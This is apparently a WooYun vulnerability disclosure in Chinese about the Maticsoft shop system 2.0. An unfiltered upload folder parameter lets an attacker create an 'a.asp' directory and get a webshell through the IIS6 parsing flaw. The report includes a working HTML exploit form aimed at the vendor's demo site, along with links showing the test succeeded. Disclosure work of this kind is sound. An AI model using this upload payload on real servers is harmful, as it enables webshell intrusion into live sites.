WooYun.org

动软商城系统2.0
源码下载：
http://pan.baidu.com/share/link?shareid=1831333754&uk=2099536883
动软商城系统未正确过滤文件上传路径，保存文件路径参数未正确过滤并且可自定义，导致可以创建类似a.asp这样的文件，可以利用IIS解析漏洞成功getshell.
相关页面：
/Ajax_Handle/UploadAttachmentHandler.ashx
/Ajax_Handle/UploadLocalVideoHandler.ashx
..
调用类时验证参数path未正确过滤，导致可以创建任意文件名文件：

//目录验证
            if (!Directory.Exists(uploadpath))
            {
                Directory.CreateDirectory(uploadpath);
            }

漏洞利用EXP：

<FORM name=form1 method=post action="http://shop1.maticsoft.cn/Ajax_Handle/UploadAttachmentHandler.ashx" enctype=multipart/form-data>
save：<input type="text" name="folder" value="./a.asp" size="30"><br>
submit：<input type="file" name="Filedata" size="30">
<INPUT type=submit value=上传 name=Submit>

官网演示站点测试成功：
http://shop1.maticsoft.cn/Ajax_Handle/a.asp/d85ca259-cf8a-418b-8e23-31e5fe750ea8.jpg
http://shop2.maticsoft.cn/Ajax_Handle/a.asp/70441256-7ff6-40a3-8f3b-2d34ce7f04e5.jpg

官网测试站点为II7故无此解析漏洞，但但a.asp文件夹仍创建了，若采用ii6，则可以getshell成功。